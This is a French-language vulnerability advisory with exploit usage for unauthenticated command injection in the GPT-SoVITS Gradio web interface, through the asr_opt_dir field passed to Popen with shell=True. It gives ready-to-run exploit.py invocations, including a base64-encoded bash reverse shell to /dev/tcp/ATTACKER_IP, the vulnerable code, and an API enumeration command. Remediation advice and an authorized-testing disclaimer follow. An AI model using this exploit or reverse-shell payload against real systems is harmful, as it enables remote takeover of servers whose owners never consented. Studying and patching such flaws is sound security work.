
Exécution de code à distance non authentifiée dans l'interface web Gradio de GPT-SoVITS (webui.py).
Les fonctions utilitaires de traitement audio (open_asr, open_slice, open_denoise, open_uvr5) interpolent des valeurs de chemin de champs de texte Gradio non assainies directement dans des commandes shell exécutées avec Popen(..., shell=True). Les chemins ne passent que par clean_path(), qui ne fait que supprimer les guillemets et espaces en début et fin de chaîne — les métacaractères shell au milieu survivent. Le champ asr_opt_dir n'est même pas vérifié quant à son existence, si bien qu'une substitution de commande $(...) dans ce champ se retrouve dans -o "$(...)" et s'exécute en tant qu'utilisateur du processus de l'interface web. L'interface web est fournie sans authentification, si bien qu'une seule requête suffit.
<= 20250606v2pro9874 (interface web Gradio, sans authentification)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
La commande injectée s'exécute sur le serveur ; sa sortie n'est pas renvoyée, utilisez donc un reverse shell (ou écrivez dans un chemin lisible) pour observer le résultat. asr_opt_dir est encapsulé dans $(...), il s'exécute donc via une substitution de commande, qu'un modèle ASR soit installé ou non.
open_asr construit et exécute :
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
L'interface Gradio expose sa surface d'API sur /config :
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Mettez à niveau vers une version postérieure à GPT-SoVITS 20250606v2pro, n'exposez jamais l'interface web à des réseaux non fiables et ne l'exécutez pas en tant qu'utilisateur privilégié.
Pour des tests de sécurité autorisés et à des fins pédagogiques uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.